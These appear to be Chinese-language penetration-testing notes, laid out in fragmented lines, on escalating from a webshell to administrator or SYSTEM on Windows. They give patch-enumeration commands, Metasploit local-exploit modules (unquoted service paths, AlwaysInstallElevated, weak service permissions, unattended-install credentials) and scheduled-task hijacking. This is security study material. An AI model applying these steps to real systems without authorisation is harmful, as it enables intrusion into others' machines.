打点进入内网中，权限一般为
web
服务的权限
1、什么是提权
一般一来说是低权限用户去申请高权限用户，可以是（配置不当、溢出类漏洞（历史漏洞）、本地漏洞）
2、常见用户分类
windows：
本地登录情况下：
Administrator
（管理员）（
system
、
trustinstall
）
user
（普通用户）
guest(
访客用户
)
用户查看
用户组
linux：
root
（管理员）
user
（普通用户）
windows提权
一般通过漏洞拿到
webshell
（
www-data
）
--------
》本地管理员（
administrator
）
-------
》
system
溢出类漏洞提权
分为本地溢出、远程溢出
可使用
systeminfo
获取当前安装的补丁号，服务器一般补丁会存在滞后的情况（服务器中注意尽量不要
使用可能导致蓝屏的漏洞）
或控制面板处
wmic获取补丁信息
wmic qfe
wmic qfe
get
HotFixID,InstalledBy
1、匹配更新补丁
通过
msf
快速获取当前主机的补丁信息
sessions
-i
#
先查看要获取主机的
session
会话
id
use post/windows/gather/enum_patches
set
session
填入上方
id
run
检查可利用的漏洞模块
use post/multi/recon/local_exploit_suggester
set
session
$id
#
填写会话
id
run
在线提权辅助工具
2.1、windows服务配置问题
windows
启动时，如果服务使用高权限启动则会有一定风险，
msf
模块作用若以管理员身份运行该进程，则会创建一个新服务，若当前用户身份无权限创建服务，则会去匹配所有服务的权限是否有问题，通过枚举服务目录创建新应用或dll
劫持的方式；
use windows/local/service_permissions
#
查看不安全服务
2.2特权安装问题
如果
windows
的安装配置了始终以特权安装，则会存在提权
配置路径
,
可使用快捷键
win+r
输入
gpedit.msc
use exploit/windows/local/always_install_elevated
2.3可信路径
若一个服务的可执行文件路径中包含空格，且没有被双引号引起来则会产生提权问题
(
重点为用户后安装的服务)
wmic
service get
name,pathname|findstr /i /v
"Windows"
use exploit/windows/local/unquoted_service_path
2.4自动安装配置文件
若管理员使用批处理的方式统一安装应用，可能会使用
.xml
配置文件统一安装，可能会包含用户名密码，可选择后续爆破端口等方式获得权限（3389
）
use post/windows/gather/enum_unattend
计划任务
翻整个计划任务列表，找是否存在
“
使用最高权限运行的任务
”
替换其计划任务文件即可成功（适用于
administrator---system
）
令牌
&
证书
&
认证信息
